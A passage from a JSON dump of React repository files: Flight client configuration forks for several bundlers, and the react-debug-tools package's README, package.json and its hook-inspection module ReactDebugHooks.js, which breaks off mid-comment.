    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-turbopack';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigNode';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigNode';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-node-unbundled.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-unbundled';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigNode';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigNode';\nexport * from 'react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode';\nexport * from 'react-server-dom-unbundled/src/client/ReactFlightClientConfigTargetNodeServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-webpack';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigNode';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigNode';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.markup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-markup';\n\nimport type {Thenable} from 'shared/ReactTypes';\n\nexport * from 'react-markup/src/ReactMarkupLegacyClientStreamConfig.js';\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\nexport * from 'react-client/src/ReactClientDebugConfigPlain';\n\nexport type ModuleLoading = null;\nexport type ServerConsumerModuleMap = null;\nexport opaque type ServerManifest = null;\nexport type ServerReferenceId = string;\nexport opaque type ClientReferenceMetadata = null;\nexport opaque type ClientReference<T> = null; // eslint-disable-line no-unused-vars\n\nexport function prepareDestinationForModule(\n  moduleLoading: ModuleLoading,\n  nonce: ?string,\n  metadata: ClientReferenceMetadata,\n) {\n  throw new Error(\n    'renderToHTML should not have emitted Client References. This is a bug in React.',\n  );\n}\n\nexport function resolveClientReference<T>(\n  bundlerConfig: ServerConsumerModuleMap,\n  metadata: ClientReferenceMetadata,\n): ClientReference<T> {\n  throw new Error(\n    'renderToHTML should not have emitted Client References. This is a bug in React.',\n  );\n}\n\nexport function resolveServerReference<T>(\n  config: ServerManifest,\n  id: ServerReferenceId,\n): ClientReference<T> {\n  throw new Error(\n    'renderToHTML should not have emitted Server References. This is a bug in React.',\n  );\n}\n\nexport function preloadModule<T>(\n  metadata: ClientReference<T>,\n): null | Thenable<T> {\n  return null;\n}\n\nexport function requireModule<T>(metadata: ClientReference<T>): T {\n  throw new Error(\n    'renderToHTML should not have emitted Client References. This is a bug in React.',\n  );\n}\n\nexport function getModuleDebugInfo<T>(metadata: ClientReference<T>): null {\n  throw new Error(\n    'renderToHTML should not have emitted Client References. This is a bug in React.',\n  );\n}\n\nexport const usedWithSSR = true;\n\ntype HintCode = string;\ntype HintModel<T: HintCode> = null; // eslint-disable-line no-unused-vars\n\nexport function dispatchHint<Code: HintCode>(\n  code: Code,\n  model: HintModel<Code>,\n): void {\n  // Should never happen.\n}\n\nexport function preinitModuleForSSR(\n  href: string,\n  nonce: ?string,\n  crossOrigin: ?string,\n) {\n  // Should never happen.\n}\n\nexport function preinitScriptForSSR(\n  href: string,\n  nonce: ?string,\n  crossOrigin: ?string,\n) {\n  // Should never happen.\n}\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.noop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the internal `react-noop-renderer` package.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-server` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-server` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* renderer code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\ndeclare const $$$config: $FlowFixMe;\n\nexport opaque type ModuleLoading = mixed;\nexport opaque type ServerConsumerModuleMap = mixed;\nexport opaque type ServerManifest = mixed;\nexport opaque type ServerReferenceId = string;\nexport opaque type ClientReferenceMetadata = mixed;\nexport opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars\nexport const resolveClientReference = $$$config.resolveClientReference;\nexport const resolveServerReference = $$$config.resolveServerReference;\nexport const preloadModule = $$$config.preloadModule;\nexport const requireModule = $$$config.requireModule;\nexport const getModuleDebugInfo = $$$config.getModuleDebugInfo;\nexport const dispatchHint = $$$config.dispatchHint;\nexport const prepareDestinationForModule =\n  $$$config.prepareDestinationForModule;\nexport const usedWithSSR = true;\n\nexport opaque type Source = mixed;\n\nexport opaque type StringDecoder = mixed;\n\nexport const createStringDecoder = $$$config.createStringDecoder;\nexport const readPartialStringChunk = $$$config.readPartialStringChunk;\nexport const readFinalStringChunk = $$$config.readFinalStringChunk;\n\nexport const bindToConsole = $$$config.bindToConsole;\n\nexport const rendererVersion = $$$config.rendererVersion;\nexport const rendererPackageName = $$$config.rendererPackageName;\n\nexport const checkEvalAvailabilityOnceDev =\n  $$$config.checkEvalAvailabilityOnceDev;\n"
  },
  {
    "path": "packages/react-debug-tools/README.md",
    "content": "# react-debug-tools\n\nThis is an experimental package for debugging React renderers.\n\n**Its API is not as stable as that of React, React Native, or React DOM, and does not follow the common versioning scheme.**\n\n**Use it at your own risk.**\n"
  },
  {
    "path": "packages/react-debug-tools/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport * from './src/ReactDebugTools';\n"
  },
  {
    "path": "packages/react-debug-tools/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-debug-tools.production.js');\n} else {\n  module.exports = require('./cjs/react-debug-tools.development.js');\n}\n"
  },
  {
    "path": "packages/react-debug-tools/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-debug-tools\",\n  \"description\": \"React package for debugging React trees.\",\n  \"version\": \"0.16.0\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\"\n  ],\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-debug-tools\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0\"\n  },\n  \"dependencies\": {\n    \"error-stack-parser\": \"^2.1.4\"\n  }\n}\n"
  },
  {
    "path": "packages/react-debug-tools/src/ReactDebugHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {StackFrame as ParsedStackFrame} from 'error-stack-parser';\nimport type {\n  Awaited,\n  ReactContext,\n  StartTransitionOptions,\n  Usable,\n  Thenable,\n  ReactDebugInfo,\n} from 'shared/ReactTypes';\nimport type {\n  ContextDependency,\n  Dependencies,\n  Fiber,\n  Dispatcher as DispatcherType,\n} from 'react-reconciler/src/ReactInternalTypes';\nimport type {TransitionStatus} from 'react-reconciler/src/ReactFiberConfig';\n\nimport ErrorStackParser from 'error-stack-parser';\nimport assign from 'shared/assign';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  FunctionComponent,\n  SimpleMemoComponent,\n  ContextProvider,\n  ForwardRef,\n} from 'react-reconciler/src/ReactWorkTags';\nimport {\n  REACT_MEMO_CACHE_SENTINEL,\n  REACT_CONTEXT_TYPE,\n} from 'shared/ReactSymbols';\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\ntype CurrentDispatcherRef = typeof ReactSharedInternals;\n\n// Used to track hooks called during a render\n\ntype HookLogEntry = {\n  displayName: string | null,\n  primitive: string,\n  stackError: Error,\n  value: mixed,\n  debugInfo: ReactDebugInfo | null,\n  dispatcherHookName: string,\n};\n\nlet hookLog: Array<HookLogEntry> = [];\n\n// Primitives\n\ntype BasicStateAction<S> = (S => S) | S;\n\ntype Dispatch<A> = A => void;\n\nlet primitiveStackCache: null | Map<string, Array<any>> = null;\n\ntype Hook = {\n  memoizedState: any,\n  next: Hook | null,\n};\n\nfunction getPrimitiveStackCache(): Map<string, Array<any>> {\n  // This initializes a cache of all primitive hooks so that the top\n  // most stack frames added by calling the primitive hook can be removed.\n  if (primitiveStackCache === null) {\n    const cache = new Map<string, Array<any>>();\n    let readHookLog;\n    try {\n      // Use all hooks here to add them to the hook log.\n      Dispatcher.useContext(({_currentValue: null}: any));\n      Dispatcher.useState(null);\n      Dispatcher.useReducer((s: mixed, a: mixed) => s, null);\n      Dispatcher.useRef(null);\n      if (typeof Dispatcher.useCacheRefresh === 'function') {\n        // This type check is for Flow only.\n        Dispatcher.useCacheRefresh();\n      }\n      Dispatcher.useLayoutEffect(() => {});\n      Dispatcher.useInsertionEffect(() => {});\n      Dispatcher.useEffect(() => {});\n      Dispatcher.useImperativeHandle(undefined, () => null);\n      Dispatcher.useDebugValue(null);\n      Dispatcher.useCallback(() => {});\n      Dispatcher.useTransition();\n      Dispatcher.useSyncExternalStore(\n        () => () => {},\n        () => null,\n        () => null,\n      );\n      Dispatcher.useDeferredValue(null);\n      Dispatcher.useMemo(() => null);\n      Dispatcher.useOptimistic(null, (s: mixed, a: mixed) => s);\n      Dispatcher.useFormState((s: mixed, p: mixed) => s, null);\n      Dispatcher.useActionState((s: mixed, p: mixed) => s, null);\n      Dispatcher.useHostTransitionStatus();\n      if (typeof Dispatcher.useMemoCache === 'function') {\n        // This type check is for Flow only.\n        Dispatcher.useMemoCache(0);\n      }\n      if (typeof Dispatcher.use === 'function') {\n        // This type check is for Flow only.\n        Dispatcher.use(\n          ({\n            $$typeof: REACT_CONTEXT_TYPE,\n            _currentValue: null,\n          }: any),\n        );\n        Dispatcher.use({\n          then() {},\n          status: 'fulfilled',\n          value: null,\n        });\n        try {\n          Dispatcher.use(\n            ({\n              then() {},\n            }: any),\n          );\n        } catch (x) {}\n      }\n\n      Dispatcher.useId();\n\n      if (typeof Dispatcher.useEffectEvent === 'function') {\n        Dispatcher.useEffectEvent((args: empty) => {});\n      }\n    } finally {\n      readHookLog = hookLog;\n      hookLog = [];\n    }\n    for (let i = 0; i < readHookLog.length; i++) {\n      const hook = readHookLog[i];\n      cache.set(hook.primitive, ErrorStackParser.parse(hook.stackError));\n    }\n    primitiveStackCache = cache;\n  }\n  return primitiveStackCache;\n}\n\nlet currentFiber: null | Fiber = null;\nlet currentHook: null | Hook = null;\nlet currentContextDependency: null | ContextDependency<mixed> = null;\nlet currentThenableIndex: number = 0;\nlet currentThenableState: null | Array<Thenable<mixed>> = null;\n\nfunction nextHook(): null | Hook {\n  const hook = currentHook;\n  if (hook !== null) {\n    currentHook = hook.next;\n  }\n  return hook;\n}\n\nfunction readContext<T>(context: ReactContext<T>): T {\n  if (currentFiber === null) {\n    // Hook inspection without access to the Fiber tree\n    // e.g. when warming up the primitive stack cache or during `ReactDebugTools.inspectHooks()`.\n    return context._currentValue;\n  } else {\n    if (currentContextDependency === null) {\n      throw new Error(\n        'Context reads do not line up with context dependencies. This is a bug in React Debug Tools.',\n      );\n    }\n\n    let value: T;\n    // For now we don't expose readContext usage in the hooks debugging info.\n    if (hasOwnProperty.call(currentContextDependency, 'memoizedValue')) {\n      // $FlowFixMe[incompatible-use] Flow thinks `hasOwnProperty` mutates `currentContextDependency`\n      value = ((currentContextDependency.memoizedValue: any): T);\n\n      // $FlowFixMe[incompatible-use] Flow thinks `hasOwnProperty` mutates `currentContextDependency`\n      currentContextDependency = currentContextDependency.next;\n    } else {\n      // Before React 18, we did not have `memoizedValue` so we rely on `setupContexts` in those versions.\n      // Multiple reads of the same context were also only tracked as a single dependency.\n      // We just give up on advancing context dependencies and solely rely on `setupContexts`.\n      value = context._currentValue;\n    }\n\n    return value;\n  }\n}\n\nconst SuspenseException: mixed = new Error(\n  \"Suspense Exception: This is not a real error! It's an implementation \" +\n    'detail of `use` to interrupt the current render. You must either ' +\n    'rethrow it immediately, or move the `use` call outside of the ' +\n    '`try/catch` block. Capturing without rethrowing will lead to ' +\n    'unexpected behavior.\\n\\n' +\n    'To handle async errors, wrap your component in an error boundary, or ' +\n    \"call the promise's `.catch` method and pass the result to `use`.\",\n);\n\nfunction use<T>(usable: Usable<T>): T {\n  if (usable !== null && typeof usable === 'object') {\n    // $FlowFixMe[method-unbinding]\n    if (typeof usable.then === 'function') {\n      const thenable: Thenable<any> =\n        // If we have thenable state, then the actually used thenable will be the one\n        // stashed in it. It's possible for uncached Promises to be new each render\n        // and in that case the one we're inspecting is the in the thenable state.\n        currentThenableState !== null &&\n        currentThenableIndex < currentThenableState.length\n          ? currentThenableState[currentThenableIndex++]\n          : (usable: any);\n\n      switch (thenable.status) {\n        case 'fulfilled': {\n          const fulfilledValue: T = thenable.value;\n          hookLog.push({\n            displayName: null,\n            primitive: 'Promise',\n            stackError: new Error(),\n            value: fulfilledValue,\n            debugInfo:\n              thenable._debugInfo === undefined ? null : thenable._debugInfo,\n            dispatcherHookName: 'Use',\n          });\n          return fulfilledValue;\n        }\n        case 'rejected': {\n          const rejectedError = thenable.reason;\n          throw rejectedError;\n        }\n      }\n      // If this was an uncached Promise we have to abandon this attempt\n      // but we can still emit anything up until this point.\n      hookLog.push({\n        displayName: null,\n        primitive: 'Unresolved',\n        stackError: new Error(),\n        value: thenable,\n        debugInfo:\n          thenable._debugInfo === undefined ? null : thenable._debugInfo,\n        dispatcherHookName: 'Use',\n      });\n      throw SuspenseException;\n    } else if (usable.$$typeof === REACT_CONTEXT_TYPE) {\n      const context: ReactContext<T> = (usable: any);\n      const value = readContext(context);\n\n      hookLog.push({\n        displayName: context.displayName || 'Context',\n        primitive: 'Context (use)',\n        stackError: new Error(),\n        value,\n        debugInfo: null,\n        dispatcherHookName: 'Use',\n      });\n\n      return value;\n    }\n  }\n\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  throw new Error('An unsupported type was passed to use(): ' + String(usable));\n}\n\nfunction useContext<T>(context: ReactContext<T>): T {\n  const value = readContext(context);\n  hookLog.push({\n    displayName: context.displayName || null,\n    primitive: 'Context',\n    stackError: new Error(),\n    value: value,\n    debugInfo: null,\n    dispatcherHookName: 'Context',\n  });\n  return value;\n}\n\nfunction useState<S>(\n  initialState: (() => S) | S,\n): [S, Dispatch<BasicStateAction<S>>] {\n  const hook = nextHook();\n  const state: S =\n    hook !== null\n      ? hook.memoizedState\n      : typeof initialState === 'function'\n        ? // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types\n          initialState()\n        : initialState;\n  hookLog.push({\n    displayName: null,\n    primitive: 'State',\n    stackError: new Error(),\n    value: state,\n    debugInfo: null,\n    dispatcherHookName: 'State',\n  });\n  return [state, (action: BasicStateAction<S>) => {}];\n}\n\nfunction useReducer<S, I, A>(\n  reducer: (S, A) => S,\n  initialArg: I,\n  init?: I => S,\n): [S, Dispatch<A>] {\n  const hook = nextHook();\n  let state;\n  if (hook !== null) {\n    state = hook.memoizedState;\n  } else {\n    state = init !== undefined ? init(initialArg) : ((initialArg: any): S);\n  }\n  hookLog.push({\n    displayName: null,\n    primitive: 'Reducer',\n    stackError: new Error(),\n    value: state,\n    debugInfo: null,\n    dispatcherHookName: 'Reducer',\n  });\n  return [state, (action: A) => {}];\n}\n\nfunction useRef<T>(initialValue: T): {current: T} {\n  const hook = nextHook();\n  const ref = hook !== null ? hook.memoizedState : {current: initialValue};\n  hookLog.push({\n    displayName: null,\n    primitive: 'Ref',\n    stackError: new Error(),\n    value: ref.current,\n    debugInfo: null,\n    dispatcherHookName: 'Ref',\n  });\n  return ref;\n}\n\nfunction useCacheRefresh(): () => void {\n  const hook = nextHook();\n  hookLog.push({\n    displayName: null,\n    primitive: 'CacheRefresh',\n    stackError: new Error(),\n    value: hook !== null ? hook.memoizedState : function refresh() {},\n    debugInfo: null,\n    dispatcherHookName: 'CacheRefresh',\n  });\n  return () => {};\n}\n\nfunction useLayoutEffect(\n  create: () => (() => void) | void,\n  inputs: Array<mixed> | void | null,\n): void {\n  nextHook();\n  hookLog.push({\n    displayName: null,\n    primitive: 'LayoutEffect',\n    stackError: new Error(),\n    value: create,\n    debugInfo: null,\n    dispatcherHookName: 'LayoutEffect',\n  });\n}\n\nfunction useInsertionEffect(\n  create: () => mixed,\n  inputs: Array<mixed> | void | null,\n): void {\n  nextHook();\n  hookLog.push({\n    displayName: null,\n    primitive: 'InsertionEffect',\n    stackError: new Error(),\n    value: create,\n    debugInfo: null,\n    dispatcherHookName: 'InsertionEffect',\n  });\n}\n\nfunction useEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  nextHook();\n  hookLog.push({\n    displayName: null,\n    primitive: 'Effect',\n    stackError: new Error(),\n    value: create,\n    debugInfo: null,\n    dispatcherHookName: 'Effect',\n  });\n}\n\nfunction useImperativeHandle<T>(\n  ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n  create: () => T,\n  inputs: Array<mixed> | void | null,\n): void {\n  nextHook();\n  // We don't actually store the instance anywhere if there is no ref callback\n  // and if there is a ref callback it might not store it but if it does we\n  // have no way of knowing where. So let's only enable introspection of the\n  // ref itself if it is using the object form.\n  let instance: ?T = undefined;\n  if (ref !== null && typeof ref === 'object') {\n    instance = ref.current;\n  }\n  hookLog.push({\n    displayName: null,\n    primitive: 'ImperativeHandle',\n    stackError: new Error(),\n    value: instance,\n    debugInfo: null,\n    dispatcherHookName: 'ImperativeHandle',\n  });\n}\n\nfunction useDebugValue(value: any, formatterFn: ?(value: any) => any) {\n  hookLog.push({\n    displayName: null,\n    primitive: 'DebugValue',\n    stackError: new Error(),\n    value: typeof formatterFn === 'function' ? formatterFn(value) : value,\n    debugInfo: null,\n    dispatcherHookName: 'DebugValue',\n  });\n}\n\nfunction useCallback<T>(callback: T, inputs: Array<mixed> | void | null): T {\n  const hook = nextHook();\n  hookLog.push({\n    displayName: null,\n    primitive: 'Callback',\n    stackError: new Error(),\n    value: hook !== null ? hook.memoizedState[0] : callback,\n    debugInfo: null,\n    dispatcherHookName: 'Callback',\n  });\n  return callback;\n}\n\nfunction useMemo<T>(\n  nextCreate: () => T,\n  inputs: Array<mixed> | void | null,\n): T {\n  const hook = nextHook();\n  const value = hook !== null ? hook.memoizedState[0] : nextCreate();\n  hookLog.push({\n    displayName: null,\n    primitive: 'Memo',\n    stackError: new Error(),\n    value,\n    debugInfo: null,\n    dispatcherHookName: 'Memo',\n  });\n  return value;\n}\n\nfunction useSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n): T {\n  // useSyncExternalStore() composes multiple hooks internally.\n  // Advance the current hook index the same number of times\n  // so that subsequent hooks have the right memoized state.\n  const hook = nextHook(); // SyncExternalStore\n  nextHook(); // Effect\n  // Read from hook.memoizedState to get the value that was used during render,\n  // not the current value from getSnapshot() which may have changed.\n  const value = hook !== null ? hook.memoizedState : getSnapshot();\n  hookLog.push({\n    displayName: null,\n    primitive: 'SyncExternalStore',\n    stackError: new Error(),\n    value,\n    debugInfo: null,\n    dispatcherHookName: 'SyncExternalStore',\n  });\n  return value;\n}\n\nfunction useTransition(): [\n  boolean,\n  (callback: () => void, options?: StartTransitionOptions) => void,\n] {\n  // useTransition() composes multiple hooks internally.\n  // Advance the current hook index the same number of times\n  // so that subsequent hooks have the right memoized state.\n  const stateHook = nextHook();\n  nextHook(); // Callback\n\n  const isPending = stateHook !== null ? stateHook.memoizedState : false;\n\n  hookLog.push({\n    displayName: null,\n    primitive: 'Transition',\n    stackError: new Error(),\n    value: isPending,\n    debugInfo: null,\n    dispatcherHookName: 'Transition',\n  });\n  return [isPending, () => {}];\n}\n\nfunction useDeferredValue<T>(value: T, initialValue?: T): T {\n  const hook = nextHook();\n  const prevValue = hook !== null ? hook.memoizedState : value;\n  hookLog.push({\n    displayName: null,\n    primitive: 'DeferredValue',\n    stackError: new Error(),\n    value: prevValue,\n    debugInfo: null,\n    dispatcherHookName: 'DeferredValue',\n  });\n  return prevValue;\n}\n\nfunction useId(): string {\n  const hook = nextHook();\n  const id = hook !== null ? hook.memoizedState : '';\n  hookLog.push({\n    displayName: null,\n    primitive: 'Id',\n    stackError: new Error(),\n    value: id,\n    debugInfo: null,\n    dispatcherHookName: 'Id',\n  });\n  return id;\n}\n\n// useMemoCache is an implementation detail of Forget's memoization\n// it should not be called directly in user-generated code\nfunction useMemoCache(size: number): Array<mixed> {\n  const fiber = currentFiber;\n  // Don't throw, in case this is called from getPrimitiveStackCache\n  if (fiber == null) {\n    return [];\n  }\n\n  const memoCache =\n    // $FlowFixMe[incompatible-use]: updateQueue is mixed\n    fiber.updateQueue != null ? fiber.updateQueue.memoCache : null;\n  if (memoCache == null) {\n    return [];\n  }\n\n  let data = memoCache.data[memoCache.index];\n  if (data === undefined) {\n    data = memoCache.data[memoCache.index] = new Array(size);\n    for (let i = 0; i < size; i++) {\n      data[i] = REACT_MEMO_CACHE_SENTINEL;\n    }\n  }\n\n  // We don't write anything to hookLog on purpose, so this hook remains invisible to users.\n\n  memoCache.index++;\n  return data;\n}\n\nfunction useOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  const hook = nextHook();\n  let state;\n  if (hook !== null) {\n    state = hook.memoizedState;\n  } else {\n    state = passthrough;\n  }\n  hookLog.push({\n    displayName: null,\n    primitive: 'Optimistic',\n    stackError: new Error(),\n    value: state,\n    debugInfo: null,\n    dispatcherHookName: 'Optimistic',\n  });\n  return [state, (action: A) => {}];\n}\n\nfunction useFormState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  const hook = nextHook(); // FormState\n  nextHook(); // PendingState\n  nextHook(); // ActionQueue\n  const stackError = new Error();\n  let value;\n  let debugInfo = null;\n  let error = null;\n\n  if (hook !== null) {\n    const actionResult = hook.memoizedState;\n    if (\n      typeof actionResult === 'object' &&\n      actionResult !== null &&\n      // $FlowFixMe[method-unbinding]\n      typeof actionResult.then === 'function'\n    ) {\n      const thenable: Thenable<Awaited<S>> = (actionResult: any);\n      switch (thenable.status) {\n        case 'fulfilled': {\n          value = thenable.value;\n          debugInfo =\n            thenable._debugInfo === undefined ? null : thenable._debugInfo;\n          break;\n        }\n        case 'rejected': {\n          const rejectedError = thenable.reason;\n          error = rejectedError;\n          break;\n        }\n        default:\n          // If this was an uncached Promise we have to abandon this attempt\n          // but we can still emit anything up until this point.\n          error = SuspenseException;\n          debugInfo =\n            thenable._debugInfo === undefined ? null : thenable._debugInfo;\n          value = thenable;\n      }\n    } else {\n      value = (actionResult: any);\n    }\n  } else {\n    value = initialState;\n  }\n\n  hookLog.push({\n    displayName: null,\n    primitive: 'FormState',\n    stackError: stackError,\n    value: value,\n    debugInfo: debugInfo,\n    dispatcherHookName: 'FormState',\n  });\n\n  if (error !== null) {\n    throw error;\n  }\n\n  // value being a Thenable is equivalent to error being not null\n  // i.e. we only reach this point with Awaited<S>\n  const state = ((value: any): Awaited<S>);\n\n  // TODO: support displaying pending value\n  return [state, (payload: P) => {}, false];\n}\n\nfunction useActionState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  const hook = nextHook(); // FormState\n  nextHook(); // PendingState\n  nextHook(); // ActionQueue\n  const stackError = new Error();\n  let value;\n  let debugInfo = null;\n  let error = null;\n\n  if (hook !== null) {\n    const actionResult = hook.memoizedState;\n    if (\n      typeof actionResult === 'object' &&\n      actionResult !== null &&\n      // $FlowFixMe[method-unbinding]\n      typeof actionResult.then === 'function'\n    ) {\n      const thenable: Thenable<Awaited<S>> = (actionResult: any);\n      switch (thenable.status) {\n        case 'fulfilled': {\n          value = thenable.value;\n          debugInfo =\n            thenable._debugInfo === undefined ? null : thenable._debugInfo;\n          break;\n        }\n        case 'rejected': {\n          const rejectedError = thenable.reason;\n          error = rejectedError;\n          break;\n        }\n        default:\n          // If this was an uncached Promise we have to abandon this attempt\n          // but we can still emit anything up until this point.\n          error = SuspenseException;\n          debugInfo =\n            thenable._debugInfo === undefined ? null : thenable._debugInfo;\n          value = thenable;\n      }\n    } else {\n      value = (actionResult: any);\n    }\n  } else {\n    value = initialState;\n  }\n\n  hookLog.push({\n    displayName: null,\n    primitive: 'ActionState',\n    stackError: stackError,\n    value: value,\n    debugInfo: debugInfo,\n    dispatcherHookName: 'ActionState',\n  });\n\n  if (error !== null) {\n    throw error;\n  }\n\n  // value being a Thenable is equivalent to error being not null\n  // i.e. we only reach this point with Awaited<S>\n  const state = ((value: any): Awaited<S>);\n\n  // TODO: support displaying pending value\n  return [state, (payload: P) => {}, false];\n}\n\nfunction useHostTransitionStatus(): TransitionStatus {\n  const status = readContext<TransitionStatus>(\n    // $FlowFixMe[prop-missing] `readContext` only needs _currentValue\n    ({\n      // $FlowFixMe[incompatible-cast] TODO: Incorrect bottom value without access to Fiber config.\n      _currentValue: null,\n    }: ReactContext<TransitionStatus>),\n  );\n\n  hookLog.push({\n    displayName: null,\n    primitive: 'HostTransitionStatus',\n    stackError: new Error(),\n    value: status,\n    debugInfo: null,\n    dispatcherHookName: 'HostTransitionStatus',\n  });\n\n  return status;\n}\n\nfunction useEffectEvent<Args, F: (...Array<Args>) => mixed>(callback: F): F {\n  nextHook();\n  hookLog.push({\n    displayName: null,\n    primitive: 'EffectEvent',\n    stackError: new Error(),\n    value: callback,\n    debugInfo: null,\n    dispatcherHookName: 'EffectEvent',\n  });\n\n  return callback;\n}\n\nconst Dispatcher: DispatcherType = {\n  readContext,\n\n  use,\n  useCallback,\n  useContext,\n  useEffect,\n  useImperativeHandle,\n  useLayoutEffect,\n  useInsertionEffect,\n  useMemo,\n  useReducer,\n  useRef,\n  useState,\n  useDebugValue,\n  useDeferredValue,\n  useTransition,\n  useSyncExternalStore,\n  useId,\n  useHostTransitionStatus,\n  useFormState,\n  useActionState,\n  useOptimistic,\n  useMemoCache,\n  useCacheRefresh,\n  useEffectEvent,\n};\n\n// create a proxy to throw a custom error\n// in case future versions of React adds more hooks\nconst DispatcherProxyHandler: Proxy$traps<DispatcherType> = {\n  get(target: DispatcherType, prop: string) {\n    if (target.hasOwnProperty(prop)) {\n      // $FlowFixMe[invalid-computed-prop]\n      return target[prop];\n    }\n    const error = new Error('Missing method in Dispatcher: ' + prop);\n    // Note: This error name needs to stay in sync with react-devtools-shared\n    // TODO: refactor this if we ever combine the devtools and debug tools packages\n    error.name = 'ReactDebugToolsUnsupportedHookError';\n    throw error;\n  },\n};\n\n// `Proxy` may not exist on some platforms\nconst DispatcherProxy =\n  typeof Proxy === 'undefined'\n    ? Dispatcher\n    : new Proxy(Dispatcher, DispatcherProxyHandler);\n\n// Inspect\n\nexport type HookSource = {\n  lineNumber: number | null,\n  columnNumber: number | null,\n  fileName: string | null,\n  functionName: string | null,\n};\n\nexport type HooksNode = {\n  id: number | null,\n  isStateEditable: boolean,\n  name: string,\n  value: mixed,\n  subHooks: Array<HooksNode>,\n  debugInfo: null | ReactDebugInfo,\n  hookSource: null | HookSource,\n};\nexport type HooksTree = Array<HooksNode>;\n\n// Don't assume\n//\n// We can't assume that stack frames are nth steps away from anything.\n// E.g. we can't assume that the root call shares all frames with the stack\n// of a hook call. A simple way to demonstrate this is wrapping `new Error()`\n// in a wrapper constructor like a polyfill. That'll add an extra frame.\n// Similar things can happen with the call to the dispatcher. The top 